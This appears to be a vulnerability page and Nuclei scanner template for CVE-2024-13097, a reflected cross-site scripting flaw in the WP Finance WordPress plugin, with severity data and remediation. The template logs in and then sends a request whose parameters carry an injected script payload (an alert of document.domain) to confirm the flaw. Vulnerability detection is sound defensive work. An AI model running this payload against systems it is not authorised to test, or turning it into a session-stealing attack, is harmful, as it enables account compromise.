WP Finance Plugin <= 1.3.6 - Cross-Site Scripting
CVE-2024-13097
Verified
Description
WP Finance WordPress plugin <= 1.3.6 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before output, letting attackers execute scripts in high privilege users' browsers, exploit requires victim to click a malicious link.
Severity
Medium
CVSS Score
5.4
Exploit Probability
3%
Affected Product
wp_finance
Published Date
February 7, 2026
Template Author
sourabh-sahu
CVE-2024-13097.yaml
id: CVE-2024-13097
info:
name: WP Finance Plugin <= 1.3.6 - Cross-Site Scripting
author: Sourabh-Sahu
severity: medium
description: |
WP Finance WordPress plugin <= 1.3.6 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before output, letting attackers execute scripts in high privilege users' browsers, exploit requires victim to click a malicious link.
impact: |
Attackers can execute malicious scripts in high privilege users' browsers, potentially leading to session hijacking or account compromise.
remediation: |
Update to the latest version of WP Finance plugin that addresses this issue or apply security patches that sanitize and escape output properly.
reference:
- https://wpscan.com/vulnerability/d83d7274-55ae-4f35-b65e-6d6e19e36fac/
- https://nvd.nist.gov/vuln/detail/CVE-2024-13097
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2024-13097
cwe-id: CWE-79
epss-score: 0.03222
epss-percentile: 0.87209
cpe: cpe:2.3:a:mch0lic:wp_finance:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: mch0lic
product: wp_finance
tags: cve,cve2024,wp-finance,wp,wordpress,wp-plugin,xss,authenticated
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- contains(header, "wordpress_logged_in")
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=wpfinance&menu=css"></script><script>alert(document.domain)</script><script>&date1=1"></script><script>alert(document.domain)</script><script> HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- contains_all(body, "></script><script>alert(document.domain)</script><script>", "WP Finance")
- contains(content_type, "text/html")
- status_code == 200
condition: and
# digest: 490a0046304402206b63494b39b607b5d2e70da31612820795d5c2864035201b33b0440344bdab4f0220269e38d73341d82c912eb2519ca09aa1a80e7315e6a1cd52052d5d585a50e1f3:922c64590222798bb761d5b6d8e729505.4Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
CVE ID:
cve-2024-13097
CWE ID:
cwe-79
Remediation Steps
Update to the latest version of WP Finance plugin that addresses this issue or apply security patches that sanitize and escape output properly.